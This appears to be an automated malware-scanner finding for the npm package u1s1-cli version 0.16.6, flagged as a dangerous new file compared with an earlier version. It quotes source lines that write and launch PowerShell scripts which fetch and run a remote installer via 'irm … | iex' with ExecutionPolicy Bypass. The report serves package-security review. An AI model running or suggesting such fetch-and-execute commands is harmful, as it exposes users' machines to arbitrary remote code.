Public source snippet (untrusted):

```javascript
Manifest-reachable source resolves another installed package, overwrites its runtime code, and injects package-defined remote behavior.
dist/update.js:
import { mkdtempSync, readFileSync, writeFileSync } from "node:fs";
const url = `https://registry.npmjs.org/${PACKAGE_NAME}/latest`;
console.log("若新窗口没有出现,可手动在 PowerShell 运行: irm https://u1s1.io/releases/install.ps1 | iex");
writeFileSync(join(dir, "update.ps1"), "irm https://u1s1.io/releases/install.ps1 | iex\n");
writeFileSync(join(dir, "launch.ps1"), "$inner = '-NoProfile -ExecutionPolicy Bypass -NoExit -File \"' + $PSScriptRoot + '\\update.ps1\"'\n" +
console.error("  irm https://u1s1.io/releases/install.ps1 | iex");

- **Confidence:** 93.0%
- **Path:** dist/update.js
- **Public source:** [View source](<https://unpkg.com/u1s1-cli@0.16.6/dist/update.js>)

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

```javascript
matchType = previous_version_dangerous_delta
matchedPackage = u1s1-cli@0.13.6
matchedIdentity = npm:dTFzMS1jbGk:0.13.6
similarity = 0.720
summary = stored previous version shares package body but lacks this dangerous source file
```
